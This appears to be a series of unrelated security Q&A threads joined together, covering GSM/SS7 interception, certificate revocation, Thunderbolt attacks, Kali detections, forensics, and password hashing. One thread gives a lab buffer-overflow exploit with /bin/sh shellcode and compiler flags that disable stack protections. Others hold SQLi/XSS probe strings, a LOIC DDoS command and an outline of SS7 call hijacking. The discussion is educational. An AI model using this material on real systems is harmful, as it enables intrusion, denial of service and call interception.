In my opinion this is  not possible because I have no way of impersonating the user (because I do not know the secret key) but maybe you guys have a clue - there are so many vulnerabilities in GSM, maybe one of them can be of use for this.

The problem here is that the phone is connected to your network instead of the provider's network. To the eyes of the provider the phone is offline.

What you need to try and do is instead downgrade the phone's connection to the provider to a bad enough encryption that you can crack. I would first start with jamming the strong encryption bands like 3G and 4G/LTE, and go from there.

Another option is to proxy the phone's connection to the provider through your fake BTS. I am not sure if it's possible but the idea is that your BTS appears as a phone to the provider's network while appearing as the provider to the phone, and proxies everything in between (while logging it). I'm not that familiar with how GSM encryption works and whether it's possible to become a man-in-the-middle this way. You'd most likely have to write custom code to do this.

Finally another option is to hijack calls/texts through SS7. This requires an active connection to the global SS7 network, and then you basically say to the provider "hey I'm one of your roaming partners and your customer just connected to our network" and the provider's network will now send you all their calls. You don't even need to have the phone or the SIM, and you can do that with any mobile provided you know their IMEI and IMSI. This works even if the phone is still on their network. You would guess the network infrastructure is smart enough to realize that a phone attached to their BTS can't be roaming at another provider and it's probably an attacker doing nasty things, but the idiots at Ericsson, Alcatel & co thought otherwise.

Obviously the last option is probably illegal unless you have permission from the carrier which you'll probably never get, because 1) scamming customers is more important so why waste time on this and 2) the network infrastructure is so fragile that even benign stuff can bring the whole network down and they obviously don't want that. For example see the Telenor incident where a totally unrelated pentest in a different country crashed their HLR (and thus brought down the entire network) for several hours :

  – The analysis reveals that at the time of the crash irregular signaling was sent into the Telenor network. This irregular signaling was sent by another international operator and contained types of messages that appear very rarely, the company said in a statement.
  – This signaling was misinterpreted in the software that Ericsson has delivered to Telenor’s mobile network and lead to part of the mobile traffic stopping, according to the company, which states that the error is corrected.

I suggest you check out P1 Security's presentations about SS7. Make sure to also check out the related/suggested ones as they are interesting and outline some of the attacks I described above.


Does any technology prevent a CA unilaterally revoking a certificate? As far as I can tell, a CA is in a position to unilaterally revoke a certificate via the standard mechanisms (CRL, OCSP).

In an increasingly TLS world, what current technology stops a CA shutting down a service they don't like?

Peer pressure, effectively.

There is a multi-layer structure of trust - the CAs trust the browser makers to include their root certificates, and not remove them without reason. The browser manufacturers trust the CAs to only sign certificates for legitimate requests, and implicitly agree to believe this, with the threat of removing the root certificates of CAs that don't actually do this. Website owners trust the CAs to work to keep their root certificates in all popular browser bundles (since manually adding certificates is a massive hurdle to user experience), and the browser manufacturers to keep root certificates in their bundles, unless there is some good reason not to (e.g. the CA asked for them to be removed).

Therefore, if a CA unilaterally revoked a certificate, the browser manufacturers could demand a reason, and, if they found that the reason was insufficient, remove the root certs belonging to that CA. They're unlikely to do so, unless it's a pattern (for example, revoking certificates belonging to sites in favour of a given political party).


Thunderbolt to HDMI connector freezes macbook, potential security risks? Time for a clean install? I recently used a Thunderbolt to HDMI connector (ADAM 4K2K) casually given by a colleague who then left the country, misguidedly thinking "oh, it's a display adapter, not a USB, so it probably isn't risky". My computer immediately froze with a crazy interleaved display (looked like corrupted video memory), and I had to restart it.

Computer is a 2012 MacBook Air, still running El Capitan 10.11.6

Googling and reading this tells me that the Thunderbolt is indeed USB-like and a security issue, worse for some MacBooks than others, though I don't exactly understand what this is saying:

  However, because Thunderbolt has been standard on Macs since 2011 and only started appearing on Windows and Linux systems more recently, this platform is most at risk. All Apple models are affected (except for the 12-inch MacBook), including post-2016 models running Thunderbolt 3 over USB-C as well as older ones using a Mini DisplayPort.

Question(s):

What are the potential security risks here?
Would the ultra-paranoid response be to do a clean install and change any password that I've since typed on the keyboard since? (I don't use stored passwords) Considering that I'm using a vintage OS I wouldn't mind doing one anyway.

Being slightly nervous, I pulled out the connector when typing passwords during the session, and haven't used the connector since.

Ultra paranoid to me means you destroy your computer, put on a tinfoil hat and dig a bunker, so I'm going to interpret that as "sensible precautions"

The security risk of any physical port is that there is an exploitable vulnerability that would allow an attacker to compromise the hardware, firmware of OS. An attacker could embed an exploit into a device like display adapter to compromise vulnerable systems when it is plugged in.

The article is about Thunderclap, which is a vulnerability in how MacOS treats thunderbolt devices, and impacts thunderbolt 2 as well as thunderbolt 3. Your older Mac should have thunderbolt 2 so would be vulnerable until Apple develops a fix.

Unplugging the device while you are typing in your password isn't going to protect you if it is malicious because a compromise would involve installing memory resident software on your system to do whatever the attacker intends, once the device delivers its payload and infects your system the damage is done. However, the chances of the display adapter being malicious is extremely low - there aren't any known instances of that exploit being used in the wild. I don't think nuking the site from orbit is warranted, it's almost certainly it was just a glitch - even Macs get them occasionally.


Looking for a taxonomy of web attacks I am working on semantic representation of firewall rules but could not find a good taxonomy of Web attacks in terms of HTTP protocol. I do find web attack classification i.e XSS attack, SQL attack.

Your question is a bit vague, so I don't know exactly what you are looking for. However, in this paper a taxonomy based on HTTP methods is described:
http://140.127.40.47/psnl/publications/2008ICHIT_taxonomy.pdf


Windows Defender found threats in Kali Linux disc image Last week, I downloaded Kali Linux from the official https://www.kali.org/ website for educational purpose. I left the downloaded disc image (.iso) on my desktop. Yesterday, Windows Defender decided to run a quick scan and went through the Kali Linux .iso file. We know that anti-virus softwares usually do not like such hacking tools and consider them as threats.

So, Windows Defender reported 329 threats found (mostly Metasploit payloads), certainly all from the Kali Linux image.

I click the start recommended action button, but it seems to be stuck at the spinning wheel "removing threats".

Here is a sample of threats that were found in the .iso file.

The button "run actions" does not clear the history. If I deleted the .iso file, running another scan won't report any threats, but the history of the previous scan is still there.

I'm a bit worried that Windows Defender could have executed the malicious code contained on the Kali Linux .iso file on my computer because I clicked on the "run recommended actions" button without knowing exactly how it gets rid of the threats found in the disc image. Actually, the threats found could not even be deleted, is it because they are in a disc image and Windows Defender can't delete them inside the image ? Does it "copied" the malicious code on my computer ?

Now, Windows Defender always report 329 threats found, even if I deleted the Kali Linux image. How I can securely and in a clean way, clear the Windows Defender history ?

Should I consider wiping my all my hard disks and reinstall Windows to be sure there's any malicious code installed on my computer from this disc image ?

I currently found a way to clear up Windows Defender history, it consists of deleting this folder :
C:\ProgramData\Microsoft\Windows Defender\Scans\History\Service

Thought, I'm not sure if it is a clean way to do that. What do you think about ?

Configuration:
Windows 10 x64, build 1903

No, Windows Defender won't run executables inside an .iso image on "run recommended actions" (or in any other situation), and you can't infect your computer this way.

Yes, Kali Linux has plenty of malicious code on purpose, and the detections you get are surprisingly same than on this article by Lawrence Abrams: Kali Linux Now in Windows Store, but Defender Flags Its Packages as Threats!

  If you take a look at one of the detected threats details, you can
  clearly see that some of the Metasploit components are being detected
  by Windows Defender when we try to install it in Kali.

  While it makes sense that Windows Defender will detect these programs
  as HackTools, because they are, it also makes it difficult to use Kali
  Linux in the Windows Subsystem for Linux.

  For now, if you want to install Kali and its packages, you will need
  to disable the real-time protection of Windows Defender, which is not
  always a smart thing.

Likewise, a lot of alerts will be triggered if you try and apt-get upgrade your Kali Linux on a network that has firewall level IDS/IPS or a virus protection on an HTTP proxy, as all the malicious components are upgraded over plain HTTP.


How can Bank of America tell that I'm logging in on a computer I haven't used with them before? When you sign into Bank of America for the first time on a computer that you haven't used with them before, they detect this and force you to answer one of your security questions. I think I've seen BoA do this when I sign in under a different browser on the same computer. If I clear the browser cache, though, they don't ask me again.

How does Bank of America (likely) uniquely identify the computer I'm using to sign in?

I'm asking because I think it might be a good idea to implement a similar security measure on my websites.

I'm willing to bet that they don't actually identify the computer, they just send you a persistent cookie once you've successfully logged in, and as long as your browser returns that cookie, they know it's a previously used machine.

You should be able to test this quite easily using something like Firefox's Web Developer toolbar which will let you both examine all of the cookies that you're sending to a specific domain, and will let you delete the cookies for a specific domain.   If you delete the cookies for the Bank of America website and then try to login again, you should get the "You're using a new computer" workflow again if indeed they are using a cookie to determine which workflow should be presented to you.

Besides cookies, there are a number of methods they could be using to recognize your machine.

Locally shared objects (Flash cookies)
Web Storage (Also known as local storage)
Other storage mechanisms
Browser fingerprinting (much less likely)

Additionally, the storage mechanisms can be combined (as it appears Bank of America does, or at least did at one point.)  The ultimate example of this, so far, is a project known as evercookie which aims to make persistent browser tracking as difficult to defeat as possible.


What is the difference between vulnerability identification and exploitation? Are strings like AND '1' = '2 and <script>alert('xss')</script> used to identify SQL injection and XSS vulnerability exploits?

If so, when black-box testing a house made web application, is the difference between vulnerability identification and exploitation the pentester's intent? For instance for SQL injections, in the first case the pentester wants to identify the vulnerability, and in the second case he/she wants to retrieve the records in the database?

When you do a penetration test, you do not want (usually) to break your target. This is why you must choose the payload of your attack (what will be sent to the target service) so that it shows you that a vulnerability exists but without breaking anything.

The examples you show are typical in the vulnerability analysis part of a pentest: they work when there is a vulnerability but they are benign (for a less benign case, see the obligatory xkcd).

An exploit is, as you correctly guessed, the use of a vulnerability to attain an actual goal: extract data, crash a service, implant malware, ...


Offline Javascript and encrypted secret When using Javascript online with the server, The server can provide a unique Key and Initialization vector for use in AES-CBC available in Webcrypto API.
Each user has key allocated to them. The client can encrypt data and send it to the server and decrypt there.
Due to potential network issues, the data is cached.
I believe that to be reasonably secure as keys are accessed via authentication and nonce salts are used.

Now the new requirement arrives:  to allow the user run in offline/cache mode.
Which means when the user needs to encrypt sensitive data on data entry,or when he accesses sensitive data to view it, the key is required. However the server cant be reached.  We need that key and only have only a password.

I see several examples on the web
which often read like this SO post
or like this Javascript AES encryption post

  Just how bad is that to use AES to encrypt a 16 byte secret using the
  users password to derive a key and a salt that is unique but
  presumably PREDICTABLE?

Assuming one would set the PBDK2 iterations to as large as tolerable by users
perhaps 500 msec to derive key from password.

I still cant see how they used AES without a predictable salt when a device must work when offline.

Is there an Java script accessible algorithm that copes well with a short value to encrypt and only a password derived key and device unique but known Id as salt.

EDIT with goal in mind
With just the users password, and offline mode in JAVAScript what can you do?
I see the browser isnt ideal for cryptography :What’s wrong with in-browser cryptography?  Im trying to find the currently best known approach and understand just how bad/good it is.

You can use a CSPRNG for the IV. This can be stored next to the encrypted text. The IV does not need to be kept secure, it just must be random.


Cisco ASA Default Route Issue We have a test environment which mimics our enterprise network security design.  In this test environment my team and I would like to bypass our DMZ entirely.  This seems easily enough done by simply changing the default route on our internal ASA (5510).  The problem is that when using ASDM-IDM when I remove the old default route and create a new one it consistently will error out saying that there's a routing conflict.  I'm not sure if this is a common mistake or if there is any guidance that you guys/gals can supply.

My next step is to manually change the default route via the console, but even if that works, I would still like to resolve this problem so we can use the GUI in the future.

Please let me know if there are any questions.  Keep in mind that I have configured ASAs before and the current configuration is working correctly (its just points to a different gateway than we would like now).  Also, i have double checked the routing on both the ASA and the device that the bypass (intended default route that is not working) is feeding to.

Additionally, I may need to look into version information.

-Ormis.

Could you increase the metric for the default route then add a second default route at a lower metric?


DBAN under PC for an HDD using MAC OSx A HDD with OSx installed removed from mac and used DBAN to wipe it under a PC. Does all the data is lost even if we put it back on a mac machine ?

Yes.
It doesn't matter whether the host is a Mac or a PC. DBAN is it's own operating system, and works the same, regardless of hardware. DBAN overwrites the entire hard disk multiple times with zeroes and garbage data.
Recovery is impossible if the process was completed.


Are there standards for software disk image acquisition in forensics? I am working on a forensics policy which covers several countries. One of the options is to have the user device (laptop, workstation) drive acquired (imaged) locally and perform forensics in another country.

The point I am searching information on is the standard (best case) or the best practices (less good case) for the imaging process.

There are several technical possibilities (forensic duplicator, adapters with write protection, pure software solution). The links are just examples.

I would like to understand if the software-only solution is sound enough. The forensic distributions I looked at (CAINE for instance) have only soft blocks, in the sense that there are configured to (hopefully) not allow RW mounts by default. Is this enough?

I saw that there are also attempts to use software write blockers, I am not sure on how accurately they were tested.

The overall question would be: is using a software-only solution to acquire a hard drive image sufficient from a forensics perspective? In practical terms, could someone successfuly claim that since no hardware write-blockers were used, there is a presumption that the disk was modified during the forensics process?

The overall question would be: is using a software-only solution to
  acquire a hard drive image sufficient from a forensics perspective?

It depends on the purpose. If you are responding to an incident and you have a need to image the drive without disturbing the machine, then if could be appropriate to use software write-blocking.

However, if you think the results are going to be used in court, I'd say please just use a hardware write-blocker. If only because the preservation/protection of the data is more manifestly apparent... and appearances mean a lot in some cases.


What is the reason for Malformed Packet Error using tcpdump (DDoS attack with LOIC)? I used:  tcpdump -s 0  -i eth0 -v -w capture.pcap

The PCAP file: https://ufile.io/0502b

I executed the LOIC tool PythonLOIC :

python2 -W ignore loic.py

https://code.google.com/archive/p/pythonloic/downloads?page=2

The reason for malformed packets could be a broken network connection, out of range wifi signal or even a DDoS attack for example.

Another thing, to avoid problems with .pcap or .cap files, why not save it to a .txt file? Here is a sample command to save data onto a text file:

tcpdump -X -vv -i eth0 > tcplog.txt

Also note when using -s option(from tcpdump manpage):

  Note that taking larger snapshots both increases the amount of time it takes to process packets and, effectively, decreases the amount of packet buffering.  This may cause packets to be lost.


Exploit HTTP arbitrary methods A web server allows to use HTTP methods like DAMN, FUCC, PASTA with the same effect as a GET request: for example executing GET /this.txt brings to the same result as PIZZA /this.txt.
Is authentication bypass the only way to exploit them?

Just because the server treats arbitrary HTTP methods like GET, does not mean that it is exploitable in the first place.
First, there must be something relevant to security in the first place which is potentially exploitable, like access to restricted information, execution of commands on the server etc. None of this is known here.
Then it must be possible to work around restrictions intended to protect the server against such exploit, like authentication, IDS, WAF etc. Given that this is about using a different method, these restrictions must rely on specific methods and must fail open on other methods or on invalid syntax or similar. None of this is known either.
In other words: it is impossible to say based on the provided information if anything can be exploited in your case and how it can be exploited.


How do I use never remember history in Firefox effectively? Under Firefox - Privacy and Security, I can change my history settings to never remember, remember, or use custom settings.

Right now, I have it set to remember history, under what circumstances is never remember effective? When should I use it?

I have a strong password for my user account, and no one other than me uses my computer.

From Mozilla:

  Private Browsing doesn't make you anonymous on the Internet. Your
  Internet service provider, employer, or the sites themselves can still
  gather information about pages you visit. Private Browsing also
  doesn't protect you from keyloggers or spyware that may be installed
  on your computer.

Remembering history is convenient, but history can also be detected in various ways by remote sites, allowing them to determine if you’ve been to www.creepy.com or www.HIVinfo.org .

Turning off remember history eliminates that, but all kinds of links and images are written to temporary disk cache that although deleted later is still recoverable. Strong passwords are irrelevant unless your drive is encrypted.

Private browsing mode keeps everything in memory and eliminates disk cache.

Anonymity is a whole different question.


Email, Certificates and DANE Does DANE offer the ability to provide certificates for services? Or is it just hosts?

How does one specify a mail server with DANE? If my email is jd@foo.com but mail.bar.com is the email server, then do I publish mail.bar.com for the foo.com domain? Here, mail.bar.com may be operated by someone else (in my case, its my server but my mail server is home to three domains).

This information was taken from the article from noflex.org: Implementing DNSSEC and DANE for email (archive.org snapshot). Here some summary of this long article

What you need is:

DNSSEC capable nameserver
DNSSEC capable registrar
DNSSEC capable resolver MTA with DANE support

To use DANE in mail server, first you must enable DNSSEC for your domain foo.com as DNSSEC was requirement for DANE. The DNSSEC key also was copied to registar. After that specify MX record(s) for this domain, for example mail.bar.com. mail.bar.com record should be queried with DNSSEC too.

Now, SMTP client perform DANE for mail.bar.com, the hostname obtained from MX record of foo.com. To do that, client will perform query to _25._tcp.mail.bar.com.Remember that SMTP is talk through TCP port 25.

So you must add the hash of your-SMTP-server-certificate to  _25._tcp.mail.bar.com with type: TLSA.

Now, SMTP may perform verifying peername. To pass it, you should set CN for the certificate with hostname obtained from MX record e.g. mail.bar.com. See this discussion about it in SF: What host name should the SSL certificate for an SMTP server contain?


Issues testing buffer overflow I am experimenting on my computer, so I wrote a vulnerable program in C to test buffer overflows on:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int check_password(char *password){
    int retval = 0;
    char possible_password_1[16] = "possiblepasswrd";
    char possible_password_2[16] = "drwssapelbissop";
    char user_input_password[16];

    strcpy(user_input_password, password);

    if(!strcmp(possible_password_1, user_input_password))
        retval = 1;

    if(!strcmp(possible_password_2, user_input_password))
        retval = 2;

    return retval;
}

int main(int argc, char *argv[]){
    if(argc < 2){
        printf("Not enough arguments\n");
        return -1;
    }

    int correct = check_password(argv[1]);
    if(correct)
        printf("CORRECT PASSWORD\n");
    else
        printf("INCORRECT PASSWORD\n");

    return 0;
}

Not very well written but it's full of vulnerabilities.

I managed to overwrite retval to get the program to display "CORRECT PASSWORD" even though my password is incorrect. However, I would now like to test some shellcode: \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

I cannot, however, get it to execute. I just get a segfault.

Here is the stack in the check_password function right before the call to strcpy:

0xbffff30c: 0x00000000  0xb7fff000  0xb7fff918  0xbffff330
0xbffff31c: 0x73777264  0x65706173  0x7369626c  0x00706f73
0xbffff32c: 0x73736f70  0x656c6269  0x73736170  0x00647277
0xbffff33c: 0x00000000  0x00008000  0xb7fb1000  0xbffff378
0xbffff34c: 0x08048523  0xbffff5c3  0x00000003  0xb7e30740

Among other things, I see 0x08048523, which seems to be the return pointer, as it points to the instruction right after the call to check_password in main:

0x0804851e <+59>:   call   0x804844b <check_password>
0x08048523 <+64>:   add    esp,0x10

I therefore decided to build my exploit buffer around this:

00000000: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
00000010: 90 90 90 90 90 90 90 90 90 31 c0 50 68 2f 2f 73  .........1.Ph//s
00000020: 68 68 2f 62 69 6e 89 e3 50 53 89 e1 b0 0b cd 80  hh/bin..PS......
00000030: c4 f5 ff bf c4 f5 ff bf c4 f5 ff bf c4 f5 ff bf  ................
00000040: c4 f5 ff bf                                      ....

0xbffff5c4 is the address of *argv[1], and contains the shellcode:

0xbffff5c4: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff5cc: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff5d4: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff5dc: 0x31    0xc0    0x50    0x68    0x2f    0x2f    0x73    0x68
0xbffff5e4: 0x68    0x2f    0x62    0x69    0x6e    0x89    0xe3    0x50

When the overwrite occurs, the address to the next instruction in main is overwritten by this address:

Before:

0xbffff30c: 0x00000000  0xb7fff000  0xb7fff918  0xbffff330
0xbffff31c: 0x73777264  0x65706173  0x7369626c  0x00706f73
0xbffff32c: 0x73736f70  0x656c6269  0x73736170  0x00647277
0xbffff33c: 0x00000000  0x00008000  0xb7fb1000  0xbffff378
0xbffff34c: 0x08048523  0xbffff5c3  0x00000003  0xb7e30740

After:

0xbffff30c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff31c: 0x90909090  0x90909090  0x50c03190  0x732f2f68
0xbffff32c: 0x622f6868  0xe3896e69  0xe1895350  0x80cd0bb0
0xbffff33c: 0xbffff5c4  0xbffff5c4  0xbffff5c4  0xbffff5c4
0xbffff34c: 0xbffff5c4  0xbffff500  0x00000003  0xb7e30740

So as far as I can tell, the shellcode should execute as soon as the function returns. However, this is not the case:

Program received signal SIGSEGV, Segmentation fault.
0xbffff5c4 in ?? ()

I'm really not sure what I did wrong here. Could someone please point me in the right direction?

Thank you.

I suppose you need to compile the code disabling the stack protections. For example, try in this way:

gcc -g -fno-stack-protector -zexecstack  -o vuln vuln.c

-g (enable debugging information)

-f no-stack-protector (disable extra code to check buffer overflow)

-z execstack (make the stack executable... where your shellcode will be)


Does sending two different hashes of the same password reduce security? I'm updating a login system. The password is sent to the server as SHA512(password + long_string). I want to switch this to something like SHA512(username + password) in the future.

By doing that I don't need to add "please login again" dialogs when the login system changes, and the passwords can be updated to the new format without users noticing.

Question: Would it hurt if I send both SHA512(password + long_string) and SHA512(username + password) when logging in? Assuming someone intercepts that data, would he be able to find the original password any quicker?

As the llama says, there is little point in pre-hashing the password on the client side: SSL protects you. Of course this assumes that you use SSL for all communications; if you do not, then you already have much bigger problems that you should tackle first.

If an attacker sees "SHA-512(password + long_string)" then the attacker can run an offline dictionary attacks on that password, i.e. trying potential password values until a match is found. Of course, this assumes that the attacker knows "long_string" but since both client and server know it, and it has not been entered by the human user, then one must assume that the "long_string" is either provided by the server prior to user authentication, or is hardcoded in the client code. Either way, it is unreasonable to assume that the attacker does not have it. The dictionary attack will run at a rhythm of several millions of tries per second, because, let's face it, a basic PC is really good at computing SHA-512.

To some extent, if "long_string" is really long (we are talking megabytes here), then the cost of hashing may become non-negligible and thus slow down the attacker. Such slowness is half (but only half) of what makes a good password hashing function. Note that cryptographic algorithms are subtle: "SHA-512(long_string + password)" would be much weaker, in that respect, than "SHA-512(password + long_string)" (if you do not see why, then don't touch that keyboard again). The second half of good password hashing is about deterring parallel attacks, which, in this case, would mean that each user has his own "long_string" value, distinct from those of the other users. The "long-string" then acts as a salt.

Your alternative, with "SHA-512(username + password)", fails at the slowness parts, and imperfectly ensures the non-parallel part (because user names are not unique worldwide, and are also reused when the user changes his password). Depending on how "long_string" is chosen in the original system, your proposal may weaken or strengthen the security.

The answer to the exact question is that if the attacker see both values then he can choose which one he will attack, and this can only help him. However, a more thorough answer is that:

You should send passwords only through a properly secured tunnel (SSL), at which point there is no good reason to hash the password on the client side; thanks to SSL, the client knows that it is sending the password to the right server, and only to that server. Simply send the password "as is".
If you plan to use the hashing as a storage mechanism on the server (i.e. the server does the hashing, not the client, and the result is stored in the server's database) then your new system may be slightly better than the previous, or slightly worse, but both are weak anyway. Go read that answer; it would be most unwise to design cryptographic systems with password until you understand it thoroughly (you do not need to agree -- Science without debate is no longer Science -- but at least you should understand the concepts).


Can viruses steal MAC addresses? Why is MAC address bad? Can downloaded executables get my MAC address and send it to somewhere else? Also, why is it a security risk to have someone else use my MAC address, considering that it can be spoofed?

I think there's a massive misundestanding about what a MAC Address is.

Nobody should get worried about MAC address. Period. Unless the attacker is in the same physical network segment than you, a MAC is useless. MAC address never leave the local network, they are easily changed, faked or cloned, they are not unique even if they were meant to be (there are stories of people with duplicate MAC addresses on they networks), and if the government wants to identify you, your browser if orders of magnitude easier than the MAC. They can hack your computer outright, and get everything. MAC won't change a thing.

So don't bother thinking about the MAC.

Now, the questions:

Viruses getting my MAC:

Yes, it's possible. The getmac command on Windows or ifconfig on Linux can get it. Any program can execute the same and get your MAC. Any program can transmit it over the Internet.

It's a security risk?

No, it's not. A virus infecting your computer is a security problem. If some unknown program is reading your MAC, the program is the problem, not what the information it reads.

What if someone else uses it?

Unless they are on the same network segment than you, nothing happens. If your network card is a cheap Chinese board, at least one thousand computers are using the exact same MAC as you, right now.

I've seen reports of MAC reuse for years, and you can find much more.


How negative are virtual machines (vms) to /dev/urandom? I looked at the questions here and here.

This then piqued my interest as I've recently been involved with looking into FIPS compliance, and in my vm environment /dev/urandom compliance testing generates data like this:

[admin@xxx~]$ cat /dev/urandom | rngtest -c 5000
rngtest 2
Copyright (c) 2004 by Henrique de Moraes Holschuh
This is free software; see the source for copying conditions.  There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

rngtest: starting FIPS tests...
rngtest: bits received from input: 100000032
rngtest: FIPS 140-2 successes: 4998
rngtest: FIPS 140-2 failures: 2
rngtest: FIPS 140-2(2001-10-10) Monobit: 0
rngtest: FIPS 140-2(2001-10-10) Poker: 0
rngtest: FIPS 140-2(2001-10-10) Runs: 1
rngtest: FIPS 140-2(2001-10-10) Long run: 1
rngtest: FIPS 140-2(2001-10-10) Continuous run: 0
rngtest: input channel speed: (min=2.210; avg=63.902; max=19073.486)Mibits/s
rngtest: FIPS tests speed: (min=2.477; avg=123.448; max=157.632)Mibits/s
rngtest: Program run time: 2277143 microseconds

The thing missing from these questions, is how bad is bad?  Do we have firm numbers that dictate statistical compliance?

How badly does moving to a virtual machine harm entropy?

Statistical tests like the one you use cannot detect whether /dev/urandom is good or bad on a specific machine.

Specifically, /dev/urandom runs a cryptographically secure PRNG. From a given initial internal state (the "seed"), it produces an arbitrarily long stream of seemingly random bytes. The PRNG being cryptographically secure means that for an attacker to actually predict the next bit with probability better than 1/2, he MUST have guessed the exact internal state (down to the last bit); otherwise, he has nothing.

The risk of /dev/urandom in a VM relates to the theoretical possibility of the attacker being able to guess that state, since the state is fed from hardware sources and a VM has no true hardware, only emulated hardware. However, this requires an intelligent attacker that perfectly knows that the PRNG is the one usd by /dev/urandom on this specific machine, and the attacker purposely tries potential internal states based on what he knows about the emulated hardware and what the OS extracts as "random seed" from that hardware. Your rngtest does nothing of the sort; it runs basic statistical tests to see whether there are biases in a 100 Mbits stream.

To summarize: rngtest does not test the important thing, which is how much the seed is hard to guess by an intelligent attacker. Instead, rngtest measures how well the cryptographically secure PRNG algorithm is indeed cryptographically secure; and it does so only basically (it cannot see anything except the most obvious biases). By nature, rngtest cannot detect any VM-related issue with /dev/urandom (and, correspondingly, it is quite useless to run it).


How is it secure to open documents with embedded/linked fonts and images There were some kernel exploits and CVEs (for example ms11-087 and CVE-2017-8682) about fonts. And there were some malware campaigns like duqu which used zerodays in fonts embedded into docx files.

I wonder if it is secure to open PDF and other document files with embedded/linked fonts and images (the most of PDF files have them embedded, the most of webpages have images and very large share of them use site-provided fonts). I mean if modern viewers pass this kind of stuff to the OS and kernel, or do they deal with the formats purely in userland in their own processes using some libraries and which one does what?

Opening a document is only secure if all the components used to edit/display it contains no security flaws.

If a security flaw exists in the software used to display/edit the document or in any component (library or service) that it uses to process some elements like images or fonts, a specially crafted document can exploit the security flaw.

What it actually attacked here is not the document itself but one specific program or library that is used to process it. Said differently a rogue document could exploit the security flaw when edited with software A but not with software B.


JWT: Choosing between HMAC and RSA It is my understanding that HMAC is a symmetric signing algorithm (single secret key) whereas RSA is an asymmetric signing algorithm (private/public key pair).  I am trying to choose between these 2 methods for signing JSON Web Tokens.

However, I am a little bit confused about the use case of HMAC.  If both the clients (users) and the server share a key, what is stopping the client from changing the token's payload fields (perhaps the subject to another user's id) and then resigning the token client-side.  Clearly this would be bad. Does HMAC only guarantee that the data was signed by someone with the secret key, and not just a single entity as with RSA?  What use case does this actually have, perhaps I am misunderstanding something? Or perhaps the secret key isn't even shared with clients at all?

HMAC is used to protect against manipulation by someone who has not access to the secret. Typically this means to protect against manipulation by the client if the secret is only known to the server or to protect against manipulation in transit if the secret is known to client and server.

An RSA based signature is used to protect against manipulation and also to allow others to verify the integrity and source of the data without being able to manipulate the data. This can be done because the private key is only known to the provider and signer of the data while the public key is known to everybody who likes to verify the integrity.

What to choose thus depends on your specific use case. If the server just needs to protect the token against manipulation by the client then using HMAC with a server side secret is enough. If instead it needs to be also proven to others that the token was created by a specific (trusted) server then RSA based signatures should be used.


Why are CRLs used instead of "valid certificates lists" and inner workings of CRLs I don't really understand why the approach towards checking the validity of certificates is "valid until proven otherwise" (aka revocation lists).

In my opinion this is kind of weird. A CA has to manually keep track of all the certificates it issued and explicitly revoke the ones that shouldn't be authenticated any more.

Wouldn't it make more sense to force CAs to keep databases with the certificates they issued or even better: have each certificate signed with a seperate key that is stored in the CAs database and if you want to revoke the certificate you just have to delete its entry?

Because if you look at use cases like client certificates on Apache for instance you always have to keep track of the certificates you issued (e.g. for each employee in a company). Once an employee leaves the company you have to revoke his/her certificate. But without ssl/tls by default forcing you to to have an "active certificates list", doesn't this create margin for errors (aka forgetting to revoke a client certificate)?
I mean there are other means to keep track of that (databases, LDAP etc.) but shouldn't the "not valid until explicitly validated"-approach not at least be an option? Or is there a solution for that (except from third party software)?

And furthermore:
Why is the CRL-URI in a DigiCert certificate http and not https, doesn't this mean I can just spoof this address and return a "everything is fine and dandy"-CRL to the client?

I mean the DigiCert CRL has a signature under it which proves to the client that this is a valid CRL issued by the CA but is this mandatory? E.g. do browsers demand a signature under each crl they receive and what do they do if they don't get any crl at all?

First bear in mind that X.509 was designed at times not every system was online all the time.

Having only serial numbers of revoked certificates on a certificate revocation list (CRL) was mainly done for keeping the size small. Some CAs also remove revoked certs which expired in the mean-time from the CRL for exactly this reason. More sophisticated approaches for addressing CRL size are partitioned CRLs and delta-CRLs.

Today many PKI deployments favor online revocation checks like OSCP. At first this also was just designed to indicate revocation (sometimes read from CRL) but some OCSP responders also query the CA's database. There was even a remote validation mechanism designed called SCVP which is not widely implemented though. OSCP et al strictly require online access.

Like X.509 certs the X.509 CRLs are also signed either by the CA itself or by another delegated revocation authority (indirect CRLs). So it's no problem to distribute them via clear-text and unauthenticated HTTP as long as the relying participant properly validates the signature. (Using HTTPS might cause hen-and-egg problems while checking the TLS server cert against an CRL).


CVEs aggregated by programming language? Is there a way to search the CVE database by programming language?

For instance, I'd consider CVE-2015-4852 to be a Java-specific vulnerability as the scope of the vulnerability is the commons-collections Java programming language library, while CVE-2016-4009 is a C vulnerability which affects programs written in Python.

Are CVEs indexed by the fundamental programming language that they target in some way? Any way to search that other than by going through each one?

OWASP Dependency Check, which was originally written for JEE apps will scan components (e.g., framework-default, contrib, or third-party libraries) for CVE-level vulnerabilities, and more-recently added support for C/C++, Java, .NET, PHP, Python, Node.js, and Ruby components. It also integrates to build environments such as the popular Java ones (e.g., maven) and CI portals including Jenkins.

There is also a web frontend for OWASP Dependency Check called Dependency Track. These are all free, open-source software (FOSS) solutions available from the extensive OWASP security community.

Here also is an extremely unorthodox metasploit-framework search using the Linux grep command, showing that all Java-related CVEs can be searched for using this method:

    $ msfconsole -qx "search cve:CVE; exit" | grep -i java | grep -vi javascript
   auxiliary/server/jsse_skiptls_mitm_proxy                               2015-01-20       normal     Java Secure Socket Extension (JSSE) SKIP-TLS MITM Proxy
   exploit/linux/misc/jenkins_java_deserialize                            2015-11-18       excellent  Jenkins CLI RMI Java Deserialization Vulnerability
   exploit/multi/browser/java_atomicreferencearray                        2012-02-14       excellent  Java AtomicReferenceArray Type Violation Vulnerability
   exploit/multi/browser/java_calendar_deserialize                        2008-12-03       excellent  Sun Java Calendar Deserialization Privilege Escalation
   exploit/multi/browser/java_getsoundbank_bof                            2009-11-04       great      Sun Java JRE getSoundbank file:// URI Buffer Overflow
   exploit/multi/browser/java_jre17_driver_manager                        2013-01-10       excellent  Java Applet Driver Manager Privileged toString() Remote Code Execution
   exploit/multi/browser/java_jre17_exec                                  2012-08-26       excellent  Java 7 Applet Remote Code Execution
